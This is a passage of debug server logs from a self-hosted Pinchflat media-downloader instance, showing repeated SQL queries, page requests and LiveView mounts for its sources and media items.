ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 21:58:24.647 [debug] QUERY OK source="sources" db=1.7ms queue=0.1ms idle=312.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 21:58:24.648 [debug] Replied in 4ms 21:58:24.650 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9"} 21:58:24.650 [debug] Replied in 56µs 21:58:24.774 [debug] Current batch of media processed. Will check again in 1000ms 21:58:24.818 [debug] Current batch of media processed. Will check again in 1000ms 21:58:25.775 [debug] Current batch of media processed. Will check again in 1000ms 21:58:25.819 [debug] Current batch of media processed. Will check again in 1000ms 21:58:26.777 [debug] Current batch of media processed. Will check again in 1000ms 21:58:26.820 [debug] Current batch of media processed. Will check again in 1000ms 21:58:27.777 [debug] Current batch of media processed. Will check again in 1000ms 21:58:27.821 [debug] Current batch of media processed. Will check again in 1000ms 21:58:28.243 [info] GET /sources/5 21:58:28.243 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "5"} Pipelines: [:browser] 21:58:28.244 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=511.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 21:58:28.245 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=512.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:58:28.246 [debug] QUERY OK source="tasks" db=0.5ms idle=513.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [5, "executing", "available", "scheduled", "retryable"] 21:58:28.246 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=514.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [862] 21:58:28.247 [debug] QUERY OK source="settings" db=0.5ms idle=23.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:28.248 [debug] QUERY OK source="settings" db=0.3ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:28.248 [debug] QUERY OK source="settings" db=0.3ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:28.251 [debug] QUERY OK source="sources" db=0.5ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 21:58:28.251 [debug] QUERY OK source="media_items" db=0.4ms idle=4.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 21:58:28.252 [debug] QUERY OK source="media_items" db=0.6ms queue=0.2ms idle=4.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:28.253 [debug] QUERY OK source="sources" db=0.3ms queue=0.2ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 21:58:28.254 [debug] QUERY OK source="media_items" db=0.5ms idle=4.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 21:58:28.255 [debug] QUERY OK source="media_items" db=0.6ms idle=3.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:28.256 [debug] QUERY OK source="sources" db=0.5ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 21:58:28.256 [debug] QUERY OK source="media_items" db=0.5ms idle=3.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [5] 21:58:28.257 [debug] QUERY OK source="media_items" db=0.5ms idle=3.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:28.258 [info] Sent 200 in 15ms 21:58:28.532 [info] CONNECTED TO Phoenix.LiveView.Socket in 21µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "L0AhIAw9KTo8CiEmHQcCIxwqFDgCBhtOWsST4OzXyGbOw5AJOuZytAWw", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.javi.fr/assets/app-ec454b024a27f3bffb6e1a52ff1601c2.css?vsn=d", "1" => "https://pinchflat.javi.fr/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:58:28.583 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9", "media_state" => "pending", "source_id" => 5} 21:58:28.584 [debug] QUERY OK source="sources" db=0.8ms idle=329.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 21:58:28.585 [debug] QUERY OK source="media_items" db=0.5ms idle=329.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 21:58:28.586 [debug] QUERY OK source="media_items" db=0.7ms idle=329.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:28.586 [debug] Replied in 3ms 21:58:28.587 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9", "media_state" => "downloaded", "source_id" => 5} 21:58:28.588 [debug] QUERY OK source="sources" db=0.3ms idle=331.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 21:58:28.589 [debug] QUERY OK source="media_items" db=0.3ms queue=0.2ms idle=330.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 21:58:28.589 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=4.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:28.589 [debug] Replied in 2ms 21:58:28.590 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9", "media_state" => "other", "source_id" => 5} 21:58:28.591 [debug] QUERY OK source="sources" db=0.5ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 21:58:28.592 [debug] QUERY OK source="media_items" db=0.4ms idle=4.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [5] 21:58:28.593 [debug] QUERY OK source="media_items" db=0.6ms queue=0.2ms idle=3.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:28.593 [debug] Replied in 2ms 21:58:28.594 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9"} 21:58:28.594 [debug] Replied in 53µs 21:58:28.778 [debug] Current batch of media processed. Will check again in 1000ms 21:58:28.822 [debug] Current batch of media processed. Will check again in 1000ms 21:58:29.716 [info] GET /sources 21:58:29.716 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 21:58:29.717 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=1127.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:29.718 [debug] QUERY OK source="settings" db=0.4ms idle=1126.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:29.719 [debug] QUERY OK source="settings" db=0.4ms idle=1126.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:29.720 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=1126.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:29.720 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=495.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:29.722 [debug] QUERY OK source="sources" db=1.1ms queue=0.2ms idle=3.4ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) 